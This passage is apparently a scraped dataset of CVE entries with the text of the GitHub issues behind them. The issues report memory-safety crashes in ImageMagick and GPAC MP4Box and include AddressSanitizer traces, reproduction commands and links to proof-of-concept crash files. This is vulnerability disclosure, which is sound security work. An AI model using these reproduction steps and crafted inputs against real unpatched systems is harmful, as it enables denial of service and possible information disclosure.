(/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8c934)` ` #1 0x7f24af23823a (/usr/lib/x86_64-linux-gnu/libtiff.so.5+0x1823a)` ` #2 0x7a3fed in WriteTIFFImage coders/tiff.c:4314` ` #3 0x848ecb in WriteImage MagickCore/constitute.c:1159` ` #4 0x849bf0 in WriteImages MagickCore/constitute.c:1376` ` #5 0xbf1565 in ConvertImageCommand MagickWand/convert.c:3305` ` #6 0xcdf015 in MagickCommandGenesis MagickWand/mogrify.c:185` ` #7 0x4100a1 in MagickMain utilities/magick.c:149` ` #8 0x410282 in main utilities/magick.c:180` ` #9 0x7f24ab49d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)` ` #10 0x40fbb8 in _start (/home/ImageMagick/utilities/magick+0x40fbb8)` `` `0x60200000ab14 is located 0 bytes to the right of 4-byte region [0x60200000ab10,0x60200000ab14)` `allocated by thread T0 here:` ` #0 0x7f24afc3c602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)` ` #1 0x7f24af2293d4 (/usr/lib/x86_64-linux-gnu/libtiff.so.5+0x93d4)` `` `SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 __asan_memcpy` `Shadow bytes around the buggy address:` ` 0x0c047fff9510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa` ` 0x0c047fff9520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa` ` 0x0c047fff9530: fa fa fa fa fa fa fa fa fa fa fd fa fa fa fd fa` ` 0x0c047fff9540: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fa` ` 0x0c047fff9550: fa fa fd fa fa fa fd fa fa fa 04 fa fa fa 04 fa` `=>0x0c047fff9560: fa fa[04]fa fa fa 00 fa fa fa fd fd fa fa fd fd` ` 0x0c047fff9570: fa fa 00 00 fa fa fd fa fa fa fd fa fa fa fd fa` ` 0x0c047fff9580: fa fa 00 fa fa fa 00 fa fa fa fd fa fa fa fd fd` ` 0x0c047fff9590: fa fa 00 04 fa fa 00 04 fa fa 00 04 fa fa 00 04` ` 0x0c047fff95a0: fa fa 00 04 fa fa 00 04 fa fa 00 07 fa fa 03 fa` ` 0x0c047fff95b0: fa fa 00 03 fa fa 00 04 fa fa fd fd fa fa fd fd` `Shadow byte legend (one shadow byte represents 8 application bytes):` ` Addressable: 00` ` Partially addressable: 01 02 03 04 05 06 07 ` ` Heap left redzone: fa` ` Heap right redzone: fb` ` Freed heap region: fd` ` Stack left redzone: f1` ` Stack mid redzone: f2` ` Stack right redzone: f3` ` Stack partial redzone: f4` ` Stack after return: f5` ` Stack use after scope: f8` ` Global redzone: f9` ` Global init order: f6` ` Poisoned by user: f7` ` Container overflow: fc` ` Array cookie: ac` ` Intra object redzone: bb` ` ASan internal: fe` `==2369==ABORTING` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: `Version: ImageMagick 7.0.8-43 Q16 x86_64 2019-04-27 https://imagemagick.org` `Copyright: ? 1999-2019 ImageMagick Studio LLC` `License: https://imagemagick.org/script/license.php` `Features: Cipher DPC HDRI OpenMP(4.0) ` `Delegates (built-in): bzlib djvu fftw fontconfig freetype jbig jng jpeg lcms lqr lzma openexr pangocairo png tiff wmf x xml zlib` - Environment (Operating system, version and so on): `Distributor ID: Ubuntu` `Description: Ubuntu 16.04.1 LTS` `Release: 16.04` `Codename: xenial` - Additional information: <!-- Thanks for reporting the issue to ImageMagick! -->

heap_buffer_overflow in WriteTIFFImage of coders/tiff.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1555/comments

2019-04-27T13:08:13Z

2019-05-04T14:21:50Z

https://github.com/ImageMagick/ImageMagick/issues/1555

CVE-2019-11598

2019-04-29T16:29:00.470

In ImageMagick 7.0.8-40 Q16, there is a heap-based buffer over-read in the function WritePNMImage of coders/pnm.c, which allows an attacker to cause a denial of service or possibly information disclosure via a crafted image file. This is related to SetGrayscaleImage in MagickCore/quantize.c.

https://github.com/ImageMagick/ImageMagick/issues/1540

github.com

### Prerequisites - [X] I have written a descriptive issue title - [X] I have verified that I am using the latest version of ImageMagick - [X] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There is a heap buffer overflow vulnerability in function WritePNMImage of coders/pnm.c. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> [poc](https://drive.google.com/open?id=14WjaSf3CMM-h6HnuQ1xufVGkC_swvJma) magick convert $poc ./test.pnm `=================================================================` `==16178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000b6f0 at pc 0x0000009f987d bp 0x7fff206e34b0 sp 0x7fff206e34a0` `READ of size 8 at 0x60200000b6f0 thread T0` `==16178==AddressSanitizer: while reporting a bug found another one. Ignoring.` ` #0 0x9f987c in SetGrayscaleImage._omp_fn.4 MagickCore/quantize.c:3453` ` #1 0x7f12195becbe in GOMP_parallel (/usr/lib/x86_64-linux-gnu/libgomp.so.1+0xbcbe)` ` #2 0x9f676d in SetGrayscaleImage MagickCore/quantize.c:3432` ` #3 0x9f3ee7 in QuantizeImage MagickCore/quantize.c:2677` ` #4 0x7cf518 in SetImageType MagickCore/attribute.c:1364` ` #5 0x6766a7 in WritePNMImage coders/pnm.c:1938` ` #6 0x8485ba in WriteImage MagickCore/constitute.c:1159` ` #7 0x8492df in WriteImages MagickCore/constitute.c:1376` ` #8 0xbf05a1 in ConvertImageCommand MagickWand/convert.c:3305` ` #9 0xcdc6f2 in MagickCommandGenesis MagickWand/mogrify.c:184` ` #10 0x410091 in MagickMain utilities/magick.c:149` ` #11 0x410272 in main utilities/magick.c:180` ` #12 0x7f1218cea82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)` ` #13 0x40fba8 in _start (/home/ImageMagick/utilities/magick+0x40fba8)` `` `0x60200000b6f4 is located 0 bytes to the right of 4-byte region [0x60200000b6f0,0x60200000b6f4)` `allocated by thread T0 here:` ` #0 0x7f121d489602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)` ` #1 0x4408a5 in AcquireMagickMemory MagickCore/memory.c:478` ` #2 0x4408f9 in AcquireQuantumMemory MagickCore/memory.c:551` ` #3 0x4c3f69 in ConstantString MagickCore/string.c:713` ` #4 0x43d3e0 in AcquireMagickInfo MagickCore/magick.c:193` ` #5 0x6747aa in RegisterPNMImage coders/pnm.c:1456` ` #6 0x49fc1d in RegisterStaticModule MagickCore/static.c:257` ` #7 0x43df66 in GetMagickInfo MagickCore/magick.c:642` ` #8 0x42164a in SetImageInfo MagickCore/image.c:2855` ` #9 0x849087 in WriteImages MagickCore/constitute.c:1336` ` #10 0xbf05a1 in ConvertImageCommand MagickWand/convert.c:3305` ` #11 0xcdc6f2 in MagickCommandGenesis MagickWand/mogrify.c:184` ` #12 0x410091 in MagickMain utilities/magick.c:149` ` #13 0x410272 in main utilities/magick.c:180` ` #14 0x7f1218cea82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)` `` `SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/quantize.c:3453 SetGrayscaleImage._omp_fn.4` `Shadow bytes around the buggy address:` ` 0x0c047fff9680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa` ` 0x0c047fff9690: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa` ` 0x0c047fff96a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa` ` 0x0c047fff96b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa` ` 0x0c047fff96c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa` `=>0x0c047fff96d0: fa fa fa fa fa fa 00 00 fa fa 04 fa fa fa[04]fa` ` 0x0c047fff96e0: fa fa 00 00 fa fa 04 fa fa fa 04 fa fa fa 04 fa` ` 0x0c047fff96f0: fa fa 04 fa fa fa 04 fa fa fa 04 fa fa fa 04 fa` ` 0x0c047fff9700: fa fa 04 fa fa fa 04 fa fa fa 04 fa fa fa 00 04` ` 0x0c047fff9710: fa fa 00 04 fa fa 00 04 fa fa 00 04 fa fa 00 04` ` 0x0c047fff9720: fa fa 00 04 fa fa 00 04 fa fa 00 04 fa fa 00 04` `Shadow byte legend (one shadow byte represents 8 application bytes):` ` Addressable: 00` ` Partially addressable: 01 02 03 04 05 06 07 ` ` Heap left redzone: fa` ` Heap right redzone: fb` ` Freed heap region: fd` ` Stack left redzone: f1` ` Stack mid redzone: f2` ` Stack right redzone: f3` ` Stack partial redzone: f4` ` Stack after return: f5` ` Stack use after scope: f8` ` Global redzone: f9` ` Global init order: f6` ` Poisoned by user: f7` ` Container overflow: fc` ` Array cookie: ac` ` Intra object redzone: bb` ` ASan internal: fe` `==16178==ABORTING` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: ``` Version: ImageMagick 7.0.8-40 Q16 x86_64 2019-04-08 https://imagemagick.org Copyright: ? 1999-2019 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC HDRI OpenMP Delegates (built-in): bzlib djvu fftw fontconfig freetype jbig jng jpeg lcms lqr lzma openexr pangocairo png tiff wmf x xml zlib ``` - Environment (Operating system, version and so on): ``` Distributor ID: Ubuntu Description: Ubuntu 16.04.1 LTS Release: 16.04 Codename: xenial ``` - Additional information: <!-- Thanks for reporting the issue to ImageMagick! -->

heap-buffer-overflow in WritePNMImage of coders/pnm.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1540/comments

2019-04-08T03:10:13Z

2019-05-12T11:30:48Z

https://github.com/ImageMagick/ImageMagick/issues/1540

CVE-2017-12805

2019-05-09T16:29:00.327

In ImageMagick 7.0.6-6, a memory exhaustion vulnerability was found in the function ReadTIFFImage, which allows attackers to cause a denial of service.

https://github.com/ImageMagick/ImageMagick/issues/664

github.com

``` root@ubuntu:/home/hjy/Desktop# convert oom-ReadTIFFImage /dev/null ==27669==ERROR: AddressSanitizer failed to allocate 0x80002000 (-2147475456) bytes of LargeMmapAllocator: 12 ==27669==Process memory map follows: 0x08048000-0x09714000 /usr/local/bin/magick 0x09714000-0x09715000 /usr/local/bin/magick 0x09715000-0x0979f000 /usr/local/bin/magick 0x0979f000-0x097a3000 0x1ffff000-0x24000000 0x24000000-0x28000000 0x28000000-0x40000000 0xb2500000-0xb2600000 0xb2700000-0xb2800000 0xb2900000-0xb2a00000 0xb2b00000-0xb2c00000 0xb2d00000-0xb2e00000 0xb2f00000-0xb3000000 0xb3100000-0xb3200000 0xb3300000-0xb3400000 0xb3500000-0xb3600000 0xb3700000-0xb3800000 0xb3900000-0xb3a00000 0xb3b00000-0xb3c00000 0xb3d00000-0xb3e00000 0xb3f00000-0xb4100000 /usr/lib/locale/locale-archive 0xb4100000-0xb4200000 0xb4300000-0xb4400000 0xb4500000-0xb4600000 0xb4700000-0xb4800000 0xb4900000-0xb4a00000 0xb4b00000-0xb4c00000 0xb4d00000-0xb4e00000 0xb4f00000-0xb5000000 0xb5100000-0xb5200000 0xb5300000-0xb5400000 0xb5500000-0xb5600000 0xb5700000-0xb5800000 0xb5900000-0xb5a00000 0xb5ae0000-0xb5c00000 0xb5c05000-0xb5c6a000 0xb5c6a000-0xb5c6b000 /usr/lib/locale/locale-archive 0xb5c6b000-0xb6e21000 0xb6e21000-0xb6e45000 /lib/i386-linux-gnu/liblzma.so.5.0.0 0xb6e45000-0xb6e46000 /lib/i386-linux-gnu/liblzma.so.5.0.0 0xb6e46000-0xb6e47000 /lib/i386-linux-gnu/liblzma.so.5.0.0 0xb6e47000-0xb6e4a000 /lib/i386-linux-gnu/libdl-2.19.so 0xb6e4a000-0xb6e4b000 /lib/i386-linux-gnu/libdl-2.19.so 0xb6e4b000-0xb6e4c000 /lib/i386-linux-gnu/libdl-2.19.so 0xb6e4c000-0xb6ff5000 /lib/i386-linux-gnu/libc-2.19.so 0xb6ff5000-0xb6ff7000 /lib/i386-linux-gnu/libc-2.19.so 0xb6ff7000-0xb6ff8000 /lib/i386-linux-gnu/libc-2.19.so 0xb6ff8000-0xb6ffb000 0xb6ffb000-0xb7013000 /lib/i386-linux-gnu/libpthread-2.19.so 0xb7013000-0xb7014000 /lib/i386-linux-gnu/libpthread-2.19.so 0xb7014000-0xb7015000 /lib/i386-linux-gnu/libpthread-2.19.so 0xb7015000-0xb7017000 0xb7017000-0xb7032000 /lib/i386-linux-gnu/libgcc_s.so.1 0xb7032000-0xb7033000 /lib/i386-linux-gnu/libgcc_s.so.1 0xb7033000-0xb7034000 /lib/i386-linux-gnu/libgcc_s.so.1 0xb7034000-0xb7035000 0xb7035000-0xb7079000 /lib/i386-linux-gnu/libm-2.19.so 0xb7079000-0xb707a000 /lib/i386-linux-gnu/libm-2.19.so 0xb707a000-0xb707b000 /lib/i386-linux-gnu/libm-2.19.so 0xb707b000-0xb70a9000 /usr/lib/i386-linux-gnu/libgomp.so.1.0.0 0xb70a9000-0xb70aa000 /usr/lib/i386-linux-gnu/libgomp.so.1.0.0 0xb70aa000-0xb70ab000 /usr/lib/i386-linux-gnu/libgomp.so.1.0.0 0xb70ab000-0xb70c3000 /lib/i386-linux-gnu/libz.so.1.2.8 0xb70c3000-0xb70c4000 /lib/i386-linux-gnu/libz.so.1.2.8 0xb70c4000-0xb70c5000 /lib/i386-linux-gnu/libz.so.1.2.8 0xb70c5000-0xb721a000 /usr/lib/i386-linux-gnu/libxml2.so.2.9.1 0xb721a000-0xb721b000 /usr/lib/i386-linux-gnu/libxml2.so.2.9.1 0xb721b000-0xb721f000 /usr/lib/i386-linux-gnu/libxml2.so.2.9.1 0xb721f000-0xb7220000 /usr/lib/i386-linux-gnu/libxml2.so.2.9.1 0xb7220000-0xb7221000 0xb7221000-0xb7247000 /lib/i386-linux-gnu/libpng12.so.0.50.0 0xb7247000-0xb7248000 /lib/i386-linux-gnu/libpng12.so.0.50.0 0xb7248000-0xb7249000 /lib/i386-linux-gnu/libpng12.so.0.50.0 0xb7249000-0xb724a000 0xb724a000-0xb7293000 /usr/lib/i386-linux-gnu/libjpeg.so.8.0.2 0xb7293000-0xb7294000 /usr/lib/i386-linux-gnu/libjpeg.so.8.0.2 0xb7294000-0xb7295000 /usr/lib/i386-linux-gnu/libjpeg.so.8.0.2 0xb7295000-0xb72a5000 0xb72a5000-0xb7344000 /usr/lib/i386-linux-gnu/libasan.so.1.0.0 0xb7344000-0xb7346000 /usr/lib/i386-linux-gnu/libasan.so.1.0.0 0xb7346000-0xb7347000 /usr/lib/i386-linux-gnu/libasan.so.1.0.0 0xb7347000-0xb77a0000 0xb77a0000-0xb77b6000 0xb77b6000-0xb77b7000 [vdso] 0xb77b7000-0xb77d7000 /lib/i386-linux-gnu/ld-2.19.so 0xb77d7000-0xb77d8000 /lib/i386-linux-gnu/ld-2.19.so 0xb77d8000-0xb77d9000 /lib/i386-linux-gnu/ld-2.19.so 0xbfd8c000-0xbfdad000 [stack] ==27669==End of process memory map. ==27669==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_posix.cc:66 "(("unable to mmap" && 0)) != (0)" (0x0, 0x0) #0 0xb72f94c1 (/usr/lib/i386-linux-gnu/libasan.so.1+0x544c1) #1 0xb72fd6a9 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/i386-linux-gnu/libasan.so.1+0x586a9) #2 0xb7302e22 (/usr/lib/i386-linux-gnu/libasan.so.1+0x5de22) #3 0xb72bd99b (/usr/lib/i386-linux-gnu/libasan.so.1+0x1899b) #4 0xb72be488 (/usr/lib/i386-linux-gnu/libasan.so.1+0x19488) #5 0xb72f384a in __interceptor_malloc (/usr/lib/i386-linux-gnu/libasan.so.1+0x4e84a) #6 0x8baef7a in AcquireQuantumPixels MagickCore/quantum.c:175 #7 0x8baef7a in SetQuantumDepth MagickCore/quantum.c:693 #8 0x877f852 in ReadTIFFImage coders/tiff.c:1655 #9 0x88baf5e in ReadImage MagickCore/constitute.c:497 #10 0x88bea44 in ReadImages MagickCore/constitute.c:866 #11 0x8ec36d8 in ConvertImageCommand MagickWand/convert.c:641 #12 0x8fc9e99 in MagickCommandGenesis MagickWand/mogrify.c:183 #13 0x8077d9a in MagickMain utilities/magick.c:149 #14 0x80579ca in main utilities/magick.c:180 #15 0xb6e65a82 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x19a82) #16 0x807737a (/usr/local/bin/magick+0x807737a) ``` POC https://github.com/whiteHat001/FUZZ_POC/blob/master/oom-ReadTIFFImage

memory exhaustion in ReadTIFFImage

https://api.github.com/repos/ImageMagick/ImageMagick/issues/664/comments

2017-08-10T05:00:53Z

2019-05-10T01:41:54Z

https://github.com/ImageMagick/ImageMagick/issues/664

CVE-2017-12806

2019-05-09T16:29:00.373

In ImageMagick 7.0.6-6, a memory exhaustion vulnerability was found in the function format8BIM, which allows attackers to cause a denial of service.

https://github.com/ImageMagick/ImageMagick/issues/660

github.com

``` root@ubuntu:/home/hjy/Desktop# convert oom-format8BIM /dev/null ==8638==ERROR: AddressSanitizer failed to allocate 0x72e8d000 (1927860224) bytes of LargeMmapAllocator: 12 ==8638==Process memory map follows: 0x08048000-0x0971a000 /usr/local/bin/magick 0x0971a000-0x0971b000 /usr/local/bin/magick 0x0971b000-0x097a5000 /usr/local/bin/magick 0x097a5000-0x097a9000 0x1ffff000-0x24000000 0x24000000-0x28000000 0x28000000-0x40000000 0xb1f00000-0xb2000000 0xb2100000-0xb2200000 0xb2300000-0xb2400000 0xb2500000-0xb2600000 0xb2700000-0xb2800000 0xb2900000-0xb2a00000 0xb2b00000-0xb2c00000 0xb2d00000-0xb2e00000 0xb2f00000-0xb3000000 0xb3100000-0xb3200000 0xb3300000-0xb3400000 0xb3500000-0xb3600000 0xb3700000-0xb3800000 0xb3900000-0xb3a00000 0xb3b00000-0xb3c00000 0xb3d00000-0xb3e00000 0xb3f00000-0xb4100000 /usr/lib/locale/locale-archive 0xb4100000-0xb4200000 0xb4300000-0xb4400000 0xb4500000-0xb4600000 0xb4700000-0xb4800000 0xb4900000-0xb4a00000 0xb4b00000-0xb4c00000 0xb4d00000-0xb4e00000 0xb4f00000-0xb5000000 0xb5100000-0xb5200000 0xb5300000-0xb5400000 0xb5500000-0xb5600000 0xb5700000-0xb5800000 0xb5900000-0xb5a00000 0xb5abb000-0xb5c10000 0xb5c10000-0xb5c50000 0xb5c50000-0xb5c51000 /usr/lib/locale/locale-archive 0xb5c51000-0xb6e07000 0xb6e07000-0xb6e2b000 /lib/i386-linux-gnu/liblzma.so.5.0.0 0xb6e2b000-0xb6e2c000 /lib/i386-linux-gnu/liblzma.so.5.0.0 0xb6e2c000-0xb6e2d000 /lib/i386-linux-gnu/liblzma.so.5.0.0 0xb6e2d000-0xb6e30000 /lib/i386-linux-gnu/libdl-2.19.so 0xb6e30000-0xb6e31000 /lib/i386-linux-gnu/libdl-2.19.so 0xb6e31000-0xb6e32000 /lib/i386-linux-gnu/libdl-2.19.so 0xb6e32000-0xb6fdb000 /lib/i386-linux-gnu/libc-2.19.so 0xb6fdb000-0xb6fdd000 /lib/i386-linux-gnu/libc-2.19.so 0xb6fdd000-0xb6fde000 /lib/i386-linux-gnu/libc-2.19.so 0xb6fde000-0xb6fe1000 0xb6fe1000-0xb6ff9000 /lib/i386-linux-gnu/libpthread-2.19.so 0xb6ff9000-0xb6ffa000 /lib/i386-linux-gnu/libpthread-2.19.so 0xb6ffa000-0xb6ffb000 /lib/i386-linux-gnu/libpthread-2.19.so 0xb6ffb000-0xb6ffd000 0xb6ffd000-0xb7018000 /lib/i386-linux-gnu/libgcc_s.so.1 0xb7018000-0xb7019000 /lib/i386-linux-gnu/libgcc_s.so.1 0xb7019000-0xb701a000 /lib/i386-linux-gnu/libgcc_s.so.1 0xb701a000-0xb701b000 0xb701b000-0xb705f000 /lib/i386-linux-gnu/libm-2.19.so 0xb705f000-0xb7060000 /lib/i386-linux-gnu/libm-2.19.so 0xb7060000-0xb7061000 /lib/i386-linux-gnu/libm-2.19.so 0xb7061000-0xb708f000 /usr/lib/i386-linux-gnu/libgomp.so.1.0.0 0xb708f000-0xb7090000 /usr/lib/i386-linux-gnu/libgomp.so.1.0.0 0xb7090000-0xb7091000 /usr/lib/i386-linux-gnu/libgomp.so.1.0.0 0xb7091000-0xb70a9000 /lib/i386-linux-gnu/libz.so.1.2.8 0xb70a9000-0xb70aa000 /lib/i386-linux-gnu/libz.so.1.2.8 0xb70aa000-0xb70ab000 /lib/i386-linux-gnu/libz.so.1.2.8 0xb70ab000-0xb7200000 /usr/lib/i386-linux-gnu/libxml2.so.2.9.1 0xb7200000-0xb7201000 /usr/lib/i386-linux-gnu/libxml2.so.2.9.1 0xb7201000-0xb7205000 /usr/lib/i386-linux-gnu/libxml2.so.2.9.1 0xb7205000-0xb7206000 /usr/lib/i386-linux-gnu/libxml2.so.2.9.1 0xb7206000-0xb7207000 0xb7207000-0xb722d000 /lib/i386-linux-gnu/libpng12.so.0.50.0 0xb722d000-0xb722e000 /lib/i386-linux-gnu/libpng12.so.0.50.0 0xb722e000-0xb722f000 /lib/i386-linux-gnu/libpng12.so.0.50.0 0xb722f000-0xb7230000 0xb7230000-0xb7279000 /usr/lib/i386-linux-gnu/libjpeg.so.8.0.2 0xb7279000-0xb727a000 /usr/lib/i386-linux-gnu/libjpeg.so.8.0.2 0xb727a000-0xb727b000 /usr/lib/i386-linux-gnu/libjpeg.so.8.0.2 0xb727b000-0xb728b000 0xb728b000-0xb732a000 /usr/lib/i386-linux-gnu/libasan.so.1.0.0 0xb732a000-0xb732c000 /usr/lib/i386-linux-gnu/libasan.so.1.0.0 0xb732c000-0xb732d000 /usr/lib/i386-linux-gnu/libasan.so.1.0.0 0xb732d000-0xb7786000 0xb7786000-0xb779c000 0xb779c000-0xb779d000 [vdso] 0xb779d000-0xb77bd000 /lib/i386-linux-gnu/ld-2.19.so 0xb77bd000-0xb77be000 /lib/i386-linux-gnu/ld-2.19.so 0xb77be000-0xb77bf000 /lib/i386-linux-gnu/ld-2.19.so 0xbfa59000-0xbfa7a000 [stack] ==8638==End of process memory map. ==8638==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_posix.cc:66 "(("unable to mmap" && 0)) != (0)" (0x0, 0x0) #0 0xb72df4c1 (/usr/lib/i386-linux-gnu/libasan.so.1+0x544c1) #1 0xb72e36a9 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/i386-linux-gnu/libasan.so.1+0x586a9) #2 0xb72e8e22 (/usr/lib/i386-linux-gnu/libasan.so.1+0x5de22) #3 0xb72a399b (/usr/lib/i386-linux-gnu/libasan.so.1+0x1899b) #4 0xb72a4488 (/usr/lib/i386-linux-gnu/libasan.so.1+0x19488) #5 0xb72d984a in __interceptor_malloc (/usr/lib/i386-linux-gnu/libasan.so.1+0x4e84a) #6 0x83de42c in format8BIM coders/meta.c:2184 #7 0x83e285c in WriteMETAImage coders/meta.c:2315 #8 0x88c579f in WriteImage MagickCore/constitute.c:1114 #9 0x88c733a in WriteImages MagickCore/constitute.c:1333 #10 0x8ed049c in ConvertImageCommand MagickWand/convert.c:3280 #11 0x8fd1411 in MagickCommandGenesis MagickWand/mogrify.c:183 #12 0x80775f2 in MagickMain utilities/magick.c:149 #13 0x805791a in main utilities/magick.c:180 #14 0xb6e4ba82 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x19a82) #15 0x8076c5a (/usr/local/bin/magick+0x8076c5a) ```POC https://github.com/whiteHat001/FUZZ_POC/blob/master/oom-format8BIM

memory exhaustion in format8BIM

https://api.github.com/repos/ImageMagick/ImageMagick/issues/660/comments

2017-08-08T03:28:18Z

2019-05-10T01:41:26Z

https://github.com/ImageMagick/ImageMagick/issues/660

CVE-2019-12481

2019-05-30T23:29:00.267

An issue was discovered in GPAC 0.7.1. There is a NULL pointer dereference in the function GetESD at isomedia/track.c in libgpac.a, as demonstrated by MP4Box.

https://github.com/gpac/gpac/issues/1249

github.com

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [x] I looked for a similar issue and couldn't find any. - [ ] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ # MP4Box ## version MP4Box 0.7.1 ## description ```txt GPAC version 0.7.1-rev0-g440d475-HEAD ``` ## download link ## others please send email to teamseri0us360@gmail.com if you have any questions. --------------------- ## DumpTrackInfo@filedump.c:2058-65___null-pointer-dereference ### description An issue was discovered in MP4Box 0.7.1, There is a/an null-pointer-dereference in function DumpTrackInfo at filedump.c:2058-65 ### commandline MP4Box -info @@ ### source ```c 2054 esd = gf_isom_get_esd(file, trackNum, 1); 2055 if (!esd) { 2056 fprintf(stderr, "WARNING: Broken MPEG-4 Track\n"); 2057 } else { >2058 const char *st = gf_odf_stream_type_name(esd->decoderConfig->streamType); 2059 if (st) { 2060 fprintf(stderr, "MPEG-4 Config%s%s Stream - ObjectTypeIndication 0x%02x\n", 2061 full_dump ? "\n\t" : ": ", st, esd->decoderConfig->objectTypeIndication); 2062 } else { 2063 fprintf(stderr, "MPEG-4 Config%sStream Type 0x%02x - ObjectTypeIndication 0x%02x\n", ``` ### my dbg ```c Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000428432 in DumpTrackInfo (file=0x655010, trackID=0x2, full_dump=GF_FALSE) at filedump.c:2058 2058 const char *st = gf_odf_stream_type_name(esd->decoderConfig->streamType); gdb-peda$ p esd $1 = (GF_ESD *) 0x659bb0 gdb-peda$ p esd->decoderConfig $2 = (GF_DecoderConfig *) 0x0 ``` ### bug report ```txt [iso file] more than one stts entry at the end of the track with sample_delta=0 - forbidden ! Fixing to 1 [ODF] Error reading descriptor (tag 4 size 47): Invalid MPEG-4 Descriptor [iso file] Unknown box type .... [iso file] Read Box type .... (0x01000000) has size 0 but is not at root/file level, skipping [iso file] Unknown box type ... [iso file] Unknown box type ...< [iso file] Unknown box type ...< [iso file] Unknown box type ...< [iso file] Unknown box type <JC. [iso file] Incomplete box UNKN [iso file] Incomplete file while reading for dump - aborting parsing * Movie Info * Timescale 600 - 2 tracks Computed Duration 00:00:04.966 - Indicated Duration 00:00:04.966 Fragmented File: no File suitable for progressive download (moov before mdat) File Brand mp42 - version 1 Compatible brands: mp42 mp41 Created: GMT Fri Oct 28 17:46:46 2005 Modified: GMT Fri Oct 28 17:46:46 2005 File has no MPEG4 IOD/OD Track # 1 Info - TrackID 1 - TimeScale 32000 Media Duration 00:00:00.004 - Indicated Duration 00:00:04.992 Track has 1 edit lists: track duration is 00:00:04.966 Media Info: Language "English (eng)" - Type "soun:mp4a" - 156 samples MPEG-4 Config: Audio Stream - ObjectTypeIndication 0x40 MPEG-4 Audio AAC LC - 2 Channel(s) - SampleRate 32000 Self-synchronized RFC6381 Codec Parameters: mp4a.40.2 All samples are sync Track # 2 Info - TrackID 2 - TimeScale 30 Media Duration 00:00:00.000 - Indicated Duration 00:00:04.966 Track has 1 edit lists: track duration is 00:00:04.966 Media Info: Language "English (eng)" - Type "vide:mp4v" - 0 samples Visual Track layout: x=0 y=0 width=190 height=240 AddressSanitizer:DEADLYSIGNAL ================================================================= ==4953==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x0000005794e8 bp 0x7ffde6e30af0 sp 0x7ffde6e0aba0 T0) ==4953==The signal is caused by a READ memory access. ==4953==Hint: address points to the zero page. #0 0x5794e7 in DumpTrackInfo /src/gpac/applications/mp4box/filedump.c:2058:65 #1 0x587ca2 in DumpMovieInfo /src/gpac/applications/mp4box/filedump.c:2950:3 #2 0x54d944 in mp4boxMain /src/gpac/applications/mp4box/main.c:4305:9 #3 0x7f7c7de2f82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #4 0x4244e8 in _start (/src/gpac/installed-asan/bin/MP4Box+0x4244e8) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /src/gpac/applications/mp4box/filedump.c:2058:65 in DumpTrackInfo ==4953==ABORTING ``` ### others from fuzz project None crash name None-00000322-1558597650.mp4 Auto-generated by pyspider at 2019-05-23 16:16:43 please send email to teamseri0us360@gmail.com if you have any questions. ## gf_isom_get_original_format_type@drm_sample.c:540-33___null-pointer-dereference ### description An issue was discovered in MP4Box 0.7.1, There is a/an null-pointer-dereference in function gf_isom_get_original_format_type at drm_sample.c:540-33 ### commandline MP4Box -info @@ ### source ```c 536 Media_GetSampleDesc(trak->Media, sampleDescriptionIndex, &sea, NULL); 537 if (!sea) return GF_BAD_PARAM; 538 539 sinf = (GF_ProtectionSchemeInfoBox*)gf_list_get(sea->protections, 0); > 540 if (outOriginalFormat && sinf->or \*bug=>*\ iginal_format) { 541 *outOriginalFormat = sinf->original_format->data_format; 542 } 543 return GF_OK; 544 } 545 ``` ### my debug ```c Stopped reason: SIGSEGV 0x00007ffff7865711 in gf_isom_get_original_format_type (the_file=0x655010, trackNumber=0x2, sampleDescriptionIndex=0x1, outOriginalFormat=0x7ffffffcbf94) at isomedia/drm_sample.c:540 540 if (outOriginalFormat && sinf->original_format) { $1 = 